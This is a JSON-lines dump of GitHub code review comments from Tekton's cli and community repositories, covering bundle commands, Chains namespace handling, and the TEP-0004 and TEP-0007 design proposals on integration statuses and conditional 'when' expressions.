\u2026)", "comment_id": 596700116, "created_at": "2021-03-18T09:47:53Z", "line": 17, "path": "pkg/bundle/reader.go", "pr_number": 1328, "repo": "cli"} +{"author": null, "body": "this doesn't work for me locally - it errors out with:\r\n\r\n```\r\nError: second argument tasks is not a valid kind: [\"Task\" \"Pipeline\" \"ClusterTask\"]\r\n```\r\n\r\nEdit to add: using `Task` instead of `tasks` worked ok", "comment_id": 596762918, "created_at": "2021-03-18T11:18:01Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "\ud83e\udd26\u200d\u2642\ufe0f ", "comment_id": 597067087, "created_at": "2021-03-18T16:54:30Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "Sure. I don't have a particular location in mind but if you have on, I can push into there instead\r\n", "comment_id": 597067443, "created_at": "2021-03-18T16:54:55Z", "line": 17, "path": "pkg/bundle/reader.go", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "\ud83e\udd26 ", "comment_id": 597067601, "created_at": "2021-03-18T16:55:06Z", "line": null, "path": "docs/cmd/tkn_bundle.md", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "\ud83e\udd26", "comment_id": 597068067, "created_at": "2021-03-18T16:55:34Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "Poor usage message. My bad.", "comment_id": 597068316, "created_at": "2021-03-18T16:55:52Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "vdemeester", "body": "Not sure yet too, we can do this later one though, no need to make this PR depend on some PR in pipeline", "comment_id": 597777078, "created_at": "2021-03-19T15:36:03Z", "line": 17, "path": "pkg/bundle/reader.go", "pr_number": 1328, "repo": "cli"} +{"author": null, "body": "\ud83d\udc4d awesome, cheers!", "comment_id": 599774798, "created_at": "2021-03-23T17:16:29Z", "line": 65, "path": "pkg/cmd/bundle/list.go", "pr_number": 1328, "repo": "cli"} +{"author": "chmouel", "body": "Just need another rename in here for \"tkn bundle list\" and we should be good to go,\r\n", "comment_id": 599950564, "created_at": "2021-03-23T21:06:53Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "Just when you think you have them all...\r\n\r\nI went ahead and removed this doc since now its in `doc/cmd/tkn_bundle_list`", "comment_id": 599969429, "created_at": "2021-03-23T21:34:11Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "chmouel", "body": "I think this is an artefact from before the rename you may want to `git rm -f` it \ud83d\ude47\ud83c\udffb ", "comment_id": 600274492, "created_at": "2021-03-24T08:42:55Z", "line": null, "path": "docs/man/man1/tkn-bundle-pull.1", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "Sorry, these are hard to squash \ud83d\ude04 ", "comment_id": 600629253, "created_at": "2021-03-24T16:03:24Z", "line": null, "path": "docs/man/man1/tkn-bundle-pull.1", "pr_number": 1328, "repo": "cli"} +{"author": "vinamra28", "body": "should we take storage size and access mode as well in input as AccessModes may vary depending on which platform cluster is running. Ref:- https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes", "comment_id": 609839232, "created_at": "2021-04-08T15:43:28Z", "line": 90, "path": "pkg/cmd/pipeline/start.go", "pr_number": 1334, "repo": "cli"} +{"author": "vinamra28", "body": "same as above. Instead of hardcoding should we not ask it from user ?", "comment_id": 609840421, "created_at": "2021-04-08T15:44:47Z", "line": null, "path": "pkg/workspaces/local.go", "pr_number": 1334, "repo": "cli"} +{"author": "vdemeester", "body": "@rgreinho you need to remove this for the CI (and for use to test) to work \ud83d\udc7c\ud83c\udffc ", "comment_id": 754477508, "created_at": "2021-11-22T17:08:49Z", "line": null, "path": "go.mod", "pr_number": 1440, "repo": "cli"} +{"author": "rgreinho", "body": "Ah yes, sorry about that. I just converted the PR back to draft. We're still working on https://github.com/tektoncd/chains/pull/284, which should be required before moving forward with this one.", "comment_id": 754548862, "created_at": "2021-11-22T18:48:22Z", "line": null, "path": "go.mod", "pr_number": 1440, "repo": "cli"} +{"author": "vdemeester", "body": "ah ok \ud83d\udc4c\ud83c\udffc ", "comment_id": 755093547, "created_at": "2021-11-23T12:52:18Z", "line": null, "path": "go.mod", "pr_number": 1440, "repo": "cli"} +{"author": "piyush-garg", "body": "do we need this?", "comment_id": 816719089, "created_at": "2022-03-01T12:19:28Z", "line": null, "path": "pkg/cmd/chains/payload.go", "pr_number": 1440, "repo": "cli"} +{"author": "piyush-garg", "body": "can you remove the print?", "comment_id": 816719304, "created_at": "2022-03-01T12:19:48Z", "line": null, "path": "pkg/cmd/chains/payload.go", "pr_number": 1440, "repo": "cli"} +{"author": "piyush-garg", "body": "can you please remove the print?", "comment_id": 816719543, "created_at": "2022-03-01T12:20:10Z", "line": null, "path": "pkg/cmd/chains/payload.go", "pr_number": 1440, "repo": "cli"} +{"author": "piyush-garg", "body": "This hardcoding makes it bit worrying as the namespace can be `tekton-pipelines` and `openshift-pipelines` if installed through operator", "comment_id": 816721734, "created_at": "2022-03-01T12:23:42Z", "line": 19, "path": "pkg/cmd/chains/chains.go", "pr_number": 1440, "repo": "cli"} +{"author": "rgreinho", "body": "Nope, it was just because there was no logger here. Removed \u2705 ", "comment_id": 816930717, "created_at": "2022-03-01T16:23:11Z", "line": null, "path": "pkg/cmd/chains/payload.go", "pr_number": 1440, "repo": "cli"} +{"author": "rgreinho", "body": " Removed \u2705 ", "comment_id": 816930814, "created_at": "2022-03-01T16:23:18Z", "line": null, "path": "pkg/cmd/chains/payload.go", "pr_number": 1440, "repo": "cli"} +{"author": "rgreinho", "body": " Removed \u2705 ", "comment_id": 816930928, "created_at": "2022-03-01T16:23:24Z", "line": null, "path": "pkg/cmd/chains/payload.go", "pr_number": 1440, "repo": "cli"} +{"author": "rgreinho", "body": "Even for chains? So maybe we should use the `namespace` flag from the CLI and default to \"tekton-chains\" if it is not supplied?", "comment_id": 816933825, "created_at": "2022-03-01T16:26:25Z", "line": 19, "path": "pkg/cmd/chains/chains.go", "pr_number": 1440, "repo": "cli"} +{"author": "piyush-garg", "body": "Is there any downside of installing chains in other namespaces? We are currently testing it in operator", "comment_id": 817002307, "created_at": "2022-03-01T17:43:46Z", "line": 19, "path": "pkg/cmd/chains/chains.go", "pr_number": 1440, "repo": "cli"} +{"author": "06kellyjac", "body": "Where can one see the progress of adding chains to the tekton operator? Also is there any details on when it would be added to OpenShift pipelines or nothing yet?", "comment_id": 817098279, "created_at": "2022-03-01T20:00:23Z", "line": 19, "path": "pkg/cmd/chains/chains.go", "pr_number": 1440, "repo": "cli"} +{"author": "piyush-garg", "body": "This is the PR on chains https://github.com/tektoncd/operator/pull/630 It is targeted for upcoming releases i.e. Tekton Operator v0.55 and OpenShift Pipelines v1.7.0", "comment_id": 817350171, "created_at": "2022-03-02T05:03:26Z", "line": 19, "path": "pkg/cmd/chains/chains.go", "pr_number": 1440, "repo": "cli"} +{"author": "06kellyjac", "body": "thanks", "comment_id": 817708984, "created_at": "2022-03-02T13:51:12Z", "line": 19, "path": "pkg/cmd/chains/chains.go", "pr_number": 1440, "repo": "cli"} +{"author": "imjasonh", "body": "Why not just a new `.status.conditions` item with a new `.type`?\r\n\r\n```\r\nstatus:\r\n conditions:\r\n - type: Succeeded\r\n status: True # it succeeded!\r\n - type: SlackNotified\r\n status: False # ...but we couldn't notify Slack as requested\r\n reason: AuthProbably\r\n```", "comment_id": 454363912, "created_at": "2020-07-14T13:40:46Z", "line": 327, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Even though I'd like to keep this data localized to the Run, I think we should carve out a separate area within the status for integration data. We also cannot use conditions as is to include extra data that might have been received in response to an integration (e.g. webhook receipt, pull request status ids, etc).\r\n\r\nAdded an example to make this clearer!", "comment_id": 454448080, "created_at": "2020-07-14T15:34:32Z", "line": 327, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "imjasonh", "body": "That makes sense, thanks for the clarifying example.", "comment_id": 454568465, "created_at": "2020-07-14T18:45:21Z", "line": 327, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "Who is responsible for adding those ? Are those annotation provided by the user (or something like `triggers`, or both) or by the integration, *or by both* ?\r\n", "comment_id": 454906644, "created_at": "2020-07-15T09:09:32Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "One thing to keep in mind is that `TaskRun` and `PipelineRun` are more or less \"immutable\", so I am not sure how fully useful the object generation will be as\u2026 except from the `cancel` field in spec, the rest of the spec won't change.", "comment_id": 454907807, "created_at": "2020-07-15T09:11:31Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "This only works when you got access to the cluster (which, might \"usually\" not be the case)", "comment_id": 454909720, "created_at": "2020-07-15T09:14:46Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "Independently of this (but maybe related), an integration should *ensure* to do the proper thing whenever the `*Run` is created. e.g. for GitHub, as soon as the `*Run` is created, the checks that this `*Run` provides should be reseted (to `pending`). *But then, the question is how do you know which `checks` this `*Run` provides ?*", "comment_id": 454911006, "created_at": "2020-07-15T09:16:57Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "I think something is missing \"Some integrations like \u2026 require\" ?", "comment_id": 454911330, "created_at": "2020-07-15T09:17:30Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "How does this \"work\" ? As what differs from \"today\" ? I guess \"writing the status\" is the only difference.", "comment_id": 454917018, "created_at": "2020-07-15T09:27:17Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "How does this relate to the current way the pipeline controller works, aka (if configured) sending cloud event to a given sink ? That feature doesn't write any `CloudEventDelivery` status, it's only when using the `CloudEvent` PipelineResource that we have this. (@afrittoli correct me if I'm wrong).", "comment_id": 454918083, "created_at": "2020-07-15T09:29:07Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "This is the first tmie we introduce this type / field \u2014 the detail about it is lower, so it feels a bit weird (because at that point of reading, I don't know what is this type, where it is and what's is \"goal\".", "comment_id": 454918835, "created_at": "2020-07-15T09:30:21Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "I am not entirely sure about this. `TaskRunResults` and `PipelineResourceResults` are, by definition, results that are coming from the execution of the Task/Pipeline (aka what the task is supposed to do, like clone a git repository, \u2026) through TaskRun/PipelineRun) This would not be the case with integration, as they do not necessary result from the execution of it (aka what the task/pipeline does), but only if it executed or not, \u2026", "comment_id": 454920945, "created_at": "2020-07-15T09:33:52Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "I have a little bit of trouble around this new field in status *and* how useful they are from the `PipelineRun`/`TaskRun` perspective. I would \"tend\" to think, that I would need to look at the \"integration\" service/dashboard/\u2026 to see what failed and dig from there.\r\n\r\nIn my head, I am comparing this to the \"food supply tracability chain\" :upside_down_face:. When you buy your cereals, you can trace back to where/when/how each element of your cereals got in (aka where was it planted, where was it transformed, by whom it was shipped, \u2026). From the *top*, you can get to the *bottom* \u2014 but from the *bottom* you don't really have a way (nor the need) to get to the *top*. I see `PipelineRun` and `TaskRun` as \"the bottom\" in there (from the integration perspective).\r\n\r\nLet's take GitHub status checks as examples, and let's assume a Github integration (\u00e0-la [`commit-status-tracker`](https://github.com/tektoncd/experimental/tree/master/commit-status-tracker)). I submit my PR, the checks appear as pending. If there is any failure (before the pod execution, during, \u2026), it's the integration responsability to give the user the information back, pointing to what went wrong \u2014 and in there, which PipelineRun it is, it's state, how to dig into it, \u2026 The PipelineRun itself doesn't *need* to know what integration is watching it, and how it handles thing. \r\n\r\n*In addition, writing the status from the integration \"part\" means possible race, possible reconciling loop for all the watchers, etc\u2026*", "comment_id": 454927153, "created_at": "2020-07-15T09:44:27Z", "line": 313, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "This describes what PipelineResource are doing :angel: ", "comment_id": 454928794, "created_at": "2020-07-15T09:47:14Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "vdemeester", "body": "I don't think we need another type for this. It would be on the *integration* itself to decide how it wants to store/display/\u2026 the status.", "comment_id": 454929972, "created_at": "2020-07-15T09:49:15Z", "line": 642, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "> an integration should ensure to do the proper thing whenever the *Run is created\r\n\r\nAgreed. There should definitely be some common behavior here to reset the state. As a first pass, I think clearing out the integration data should be sufficient, and should allow integrations to pick up a Run as if it was new.\r\n\r\n> But then, the question is how do you know which checks this *Run provides ?\r\n\r\nI don't think we can or should enforce that the Run must declare the integrations it provides (though it declare some integrations in line if it wants to). This is to support integrations that are enforced automatically for users (e.g. CloudEvents, Results).", "comment_id": 455296812, "created_at": "2020-07-15T19:40:30Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "True, but I think it's a reasonable assumption to say that users should be able to get at the Run object (i.e. if not through the k8s API, by Tekton Results), and that this will generally be a common pattern for debugging.\r\n\r\nUpdated to mention results / alternative mechanisms.", "comment_id": 455298650, "created_at": "2020-07-15T19:44:05Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Yup, this got garbled. Fixed.", "comment_id": 455298936, "created_at": "2020-07-15T19:44:36Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Yup. I think that's correct. (@afrittoli let me know if I'm missing something here)", "comment_id": 455303095, "created_at": "2020-07-15T19:52:01Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "I felt that this section was redundant with User Stories, so I took it out for the time being.\r\n\r\nThe reason why I feel this belongs in the Run status is because these integration actions are directly caused by the Run itself. Storing related data with it helps us couple the data to the object lifecycle, and makes it easy for users to get this information regardless of the tool they use.\r\n\r\nI found out that this actually models an existing pattern of subresources (https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/api-conventions.md#types-kinds), so I added another section about this under design details.", "comment_id": 455309314, "created_at": "2020-07-15T20:03:47Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "So I actually agree that users will generally start from the integration dashboard and working their way back to the Run.\r\n\r\nThat said, I think providing information the other way is equally as important for investigating when things do not work as expected. For example, say the access token we are using for GitHub exceeded quota (or the token was revoked, GitHub is down, etc)- this could manifest as statuses never showing up in GitHub, so we lose that link from the integration back to the Run. We currently don't have a mechanism to let users know that something is wrong.\r\nToday our answer is \"go look at the controller logs for errors\", but this isn't really a good solution if the user doesn't have access to the pipeline controller (and they likely won't if this is a multitenant environment). Having a place to say: \"we tried to update the status for , but we got this error\" within a Run helps integrations give users transparency about what is happening as a result of their Task/PipelineRun, even though these things aren't necessarily executing as part of their Run, regardless of the state of the external integration.\r\n\r\nI concede that in cases where everything worked this is less meaningful, but I think still provides benefit for consistency to help users verify that something actually happened.\r\n\r\nTo use your cereal analogy - this is like distributors keeping a log of outgoing shipments to grocery stores, so that if stores claim they never received a shipment, they can prove when the shipment left the warehouse, what was inside, tracking numbers, etc.", "comment_id": 455360969, "created_at": "2020-07-15T21:25:05Z", "line": 313, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Yes, but with the caveats:\r\n- PipelineResources can't do anything if the Pipeline fails to start (e.g. invalid TaskRefs)\r\n- They can't do anything in response to \"accepted, but not running yet\" (e.g. GitHub CheckRuns make a distinction between `Queued` and `In Progress` pending statuses)\r\n- Requires users to insert all integration lifecycle steps (the eventual goal is for Triggers to make this easier for users).", "comment_id": 455375311, "created_at": "2020-07-15T21:42:30Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Initially, my expectation is the integration would provide the annotation it supports in its documentation, then users would set these fields in their Runs (filling them in with params / TriggerTemplates).\r\n\r\nEventually, I'd like to get to a point where Triggers can do this automatically for users. Initially via ObjectMeta templating, but eventually via interceptors (or possibly some other mechanism) that can also be provided by an integration. e.g. If we know that a Trigger is for GitHub events, and we can filter for these types of events, we should be able to provide the relevant annotations to configure related integration functionality automatically. If users want to configure one-off builds for testing, they can still set the annotations manually.\r\n\r\nThis also designed in a way that other non-Tekton Trigger mechanisms could also leverage this if they wanted, or we can even mix and match mechanisms to trigger builds and related integrations (e.g. want to build a slack bot that retests pull requests? just set these annotations and you're good to go).\r\n\r\nI think the exact details of how Triggers implements these features is a bit hand-wavy at the moment since a lot of it is work actively being discussed / designed, so I didn't want to go too deep in this proposal. The main goal here is to carve out the areas within the Runs API to define this data.", "comment_id": 455398254, "created_at": "2020-07-15T22:20:35Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "For TaskRun and PipelineRun `spec`, I 100% agree. `status` is where I see room for flexibility (since these are mutated during Pipeline execution anyway).\r\n\r\nRe object/observed generation: I'm not particularly tied to this. I'm just borrowing this from our existing [TaskRunStatus](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1?tab=doc#TaskRunStatus) type which uses the [Knative Status duck type](https://pkg.go.dev/knative.dev/pkg/apis/duck/v1beta1?tab=doc#Status).", "comment_id": 455400128, "created_at": "2020-07-15T22:25:21Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Yeah, I agree this is weird. Rearranged this a bit to not reference the type exactly until later. Let me know if this makes more sense or if I should make more changes.", "comment_id": 455431317, "created_at": "2020-07-15T23:57:19Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "dlorenc", "body": "+100 to all of these problems!", "comment_id": 456588571, "created_at": "2020-07-17T17:51:37Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "n3wscott", "body": "do you mean : `.integrations.tekton.dev/: `", "comment_id": 457570239, "created_at": "2020-07-20T17:20:35Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "wlynch", "body": "Yup! I ended up removing this section though, so nothing to do. \ud83d\ude05 ", "comment_id": 457691791, "created_at": "2020-07-20T21:06:21Z", "line": null, "path": "teps/0004-tekton-integrations-annotations-statuses.md", "pr_number": 147, "repo": "community"} +{"author": "bobcatfish", "body": "im not sure if tekton-dev can see this doc - it looks like i cant anyway!", "comment_id": 461761439, "created_at": "2020-07-28T17:46:29Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "my understanding is that now that we're proposing that we use results to indicate skip/not skip, we're actually accomplishing this goal as well! maybe we can move it back to goals?", "comment_id": 461762042, "created_at": "2020-07-28T17:47:31Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "might want to elaborate on this one a bit more, \"what happens when\" kinda sounds to me like it could cover many different things (e.g. execute Task A when false, Task B when true)", "comment_id": 461762664, "created_at": "2020-07-28T17:48:32Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "it might be worth specify exactly the string values expected here: afaik both yaml and json actually do have bools, but we're talking about string values here", "comment_id": 461763163, "created_at": "2020-07-28T17:49:20Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "question: what happens if a user provides another value? im thinking we'd treat that as an error and fail the guard + pipeline", "comment_id": 461763475, "created_at": "2020-07-28T17:49:48Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "im still leaning toward treating a case where you set continueAfterSkip on a Task to true and there are resource dependencies on that task as invalid and failing it at Pipeline creation time", "comment_id": 461764336, "created_at": "2020-07-28T17:51:12Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "bobcatfish", "body": "im thinking for the CelRun controller we'd probably make another TEP eventually as well - b/c there is a probably a lot to flesh out around the CEL support specifically, so we probably dont need to go into too much detail here, we could just mention another TEP would be coming", "comment_id": 461764830, "created_at": "2020-07-28T17:52:00Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "First of all - I really like the introduction of a lightweight way to write condition-expressions - like with `matchExpressions`.\r\n\r\n`matchExpressions` is designed for Kubernetes Labels. Labels consist of pairs of a `Key` and a `Value`. Therefor the first thing is a `key:` in the syntax and the operators `Exists` and `DoesNotExists` means that the `key` exists - independent of what `Value` it has.\r\n\r\nDoes it make sense for us to adapt the wording and possible the operators? For us, we want to use `Param` or a `TaskResult` as input instead of a `Label-key`. Should we use e.g. `param:` and `taskResult:` or something similar that fits us better - instead of `key:`? e.g. is more intuitive for end users of Tekton?\r\n\r\nI think the `In` and `NotIn` operators fits us good, and users understand them. But if we want to use `Exists` and `DoesNotExists` - we should at least explain what it means in our context - or maybe abandon them - since they are not directly transferrable to our context?\r\n\r\nWe may also be interested in other operators, e.g. `IsTrue` and `IsNotTrue` / `IsFalse` - and maybe `IsEmpty` and `IsNotEmpty` - but that may also be added later.\r\nThese would just be shortcuts for common things that always can be used with `In` in combination of `values:\u00a0[\"\"]` or `values: [\"true\"]` / `values: [\"false\"]`\r\n\r\nE.g.\r\n\r\n```\r\nname: worskspace-contains-dockerfile\r\nkey: $(tasks.dockerfile-check.results.skip)\r\noperator: In\r\nvalues: [\"true\"]\r\n```\r\n\r\ncould be optimized to:\r\n\r\n```\r\nname: worskspace-contains-dockerfile\r\nkey: $(tasks.dockerfile-check.results.skip)\r\noperator: IsTrue\r\n```", "comment_id": 461878927, "created_at": "2020-07-28T21:05:31Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "But now we abandon the CRD - so `v1alpha1` is not applicable anymore?\r\n\r\nThese features will be added directly to the `v1beta1.Pipeline`", "comment_id": 461888375, "created_at": "2020-07-28T21:24:15Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "Not a big thing.\r\n\r\nBut I still feels that it will be a bit complicated/problematic/confusing adding `taskRef:` within this place in the pipeline.\r\n\r\nNow these Tasks are proper Tasks - that can also be added to other places in the Pipeline.\r\n\r\nConsider a use case: Check if workspace contains Dockerfile - then execute TaskA, if not - excecute TaskB.\r\n\r\nThat can now be implemented with those _two_ pipelines with **identical result**\r\n\r\n```\r\nkind: Pipeline\r\nmetadata: \r\n name: conditional-dockerfile\r\nspec: \r\n workspaces:\r\n - name: ws\r\n tasks: \r\n - name: build-with-dockerfile\r\n when:\r\n - name: dockerfile-exists\r\n taskRef: \r\n name: file-exists\r\n workspaces:\r\n - name: files\r\n workspace: ws\r\n workspaces:\r\n - name: source\r\n workspace: ws\r\n taskRef:\r\n name: build-with-dockerfile\r\n \r\n - name: build-without-dockerfile \r\n when:\r\n - name: dockerfile-not-exists\r\n taskRef: \r\n name: file-not-exists\r\n workspaces:\r\n - name: files\r\n workspace: ws\r\n workspaces:\r\n - name: source\r\n workspace: ws\r\n taskRef:\r\n name: build-without-dockerfile\r\n```\r\n\r\nand - only using `matchExpressions`\r\n\r\n```\r\nkind: Pipeline\r\nmetadata: \r\n name: conditional-dockerfile-only-matchexpressions\r\nspec: \r\n workspaces:\r\n - name: ws\r\n tasks: \r\n - name: check-file-exists \r\n taskRef:\r\n name: file-exists\r\n workspaces:\r\n - name: files\r\n workspace: ws\r\n \r\n - name: build-with-dockerfile \r\n runAfter: [check-file-exists]\r\n when:\r\n - key: $(result.check-file-exists) \r\n operator: isTrue\r\n taskRef:\r\n name: build-with-dockerfile\r\n workspaces:\r\n - name: source\r\n workspace: ws\r\n \r\n - name: build-without-dockerfile \r\n runAfter: [check-file-exists]\r\n when:\r\n - key: $(result.check-file-exists) \r\n operator: notTrue\r\n taskRef:\r\n name: build-without-dockerfile\r\n workspaces:\r\n - name: source\r\n workspace: ws\r\n```\r\n\r\nThe proposal adds both alternatives.\r\n\r\nThe latter example is **much** easier to implement - we only need to add `matchExpressions` for that - since Tasks and CustomTasks already can be executed within a Pipeline.\r\n\r\nThe latter example - only need a _single_ \"check\": `file-exits` while the first example also need `file-not-exists` in addition.\r\n\r\nIn my opinion - the latter example is also easier to _read_ and _reason_ about.\r\n\r\nThe latter use 3 pods - while the first use 4 pods.", "comment_id": 461898914, "created_at": "2020-07-28T21:43:53Z", "line": 171, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "We could perhaps - start with implementing a `when` with `matchExpressions` and if we are not satisfied - continue and add `taskRef:` ?", "comment_id": 461901409, "created_at": "2020-07-28T21:47:02Z", "line": 171, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "we also need to pass in workspaces here... I also forgot that in my example", "comment_id": 461935425, "created_at": "2020-07-28T22:45:03Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "I now added `workspaces` to the examples above. This makes the first example look even more ~~confusing~~ difficult for me - mostly because I have multiple `taskRef` and also multiple `workspaces`-mappings within the _pipelineTask_", "comment_id": 461939069, "created_at": "2020-07-28T22:54:29Z", "line": 171, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jlpettersson", "body": "TLDR; we might want to start with the operators `In` and `NotIn`\r\nand wait or potentially abandon `Exists` and `DoesNotExists` - in our context.\r\n\r\n`key:` might not be the field name that fits best in our context.", "comment_id": 461942671, "created_at": "2020-07-28T23:04:52Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "added tekton-dev, please let me know if you can't access it :) ", "comment_id": 462431250, "created_at": "2020-07-29T16:30:31Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "yes yes, that's right -- moved it to goals", "comment_id": 462442378, "created_at": "2020-07-29T16:49:17Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "added more details that its whether to execute dependent `Tasks` when a parent `Task` evaluates to `False`", "comment_id": 462505826, "created_at": "2020-07-29T18:35:11Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "> it might be worth specify exactly the string values expected here: afaik both yaml and json actually do have bools, but we're talking about string values here\r\n\r\nadded the clarification\r\n\r\n> question: what happens if a user provides another value? im thinking we'd treat that as an error and fail the guard + pipeline\r\n\r\nadded that that'd be an error ", "comment_id": 462529166, "created_at": "2020-07-29T19:16:06Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "I agree that given that the `matchExpressions` can operate on `Results` and covers the use cases, we can go with that approach for now and revisit the `Task` with `Skip Result` contract later if needed. \r\n\r\nThank you for these examples! ", "comment_id": 462588361, "created_at": "2020-07-29T21:05:16Z", "line": 171, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "added them, thanks :) ", "comment_id": 462588505, "created_at": "2020-07-29T21:05:30Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "I was thinking we can keep the generic name (maybe rename it to `input`) so that it's flexible to accept different string inputs from different tekton resources using the string reference `'$(x.y.z)'`, so that even as Tekton evolves, we won't have to modify to support them here. For example:\r\n\r\nAgreed that we should proceed with `In` and `NotIn`, then we can explore other `Operators` later if needed -- mentioned the examples you provided. \r\n\r\n```yaml\r\nname: check-file-exists\r\ninput: '$(tasks.file-exists.results.exists)'\r\noperator: In\r\nvalues: ['true']\r\n---\r\nname: branch-is-main\r\ninput: `$(params.branch)`\r\noperator: In\r\nvalues: [\u2018main\u2019]\r\n---\r\nname: always-false\r\ninput: \u2018false\u2019\r\noperator: In\r\nvalues: [\u2018\u2019]\r\n```\r\n", "comment_id": 462592528, "created_at": "2020-07-29T21:13:06Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 159, "repo": "community"} +{"author": "jerop", "body": "sounds good, updated the doc and will modify 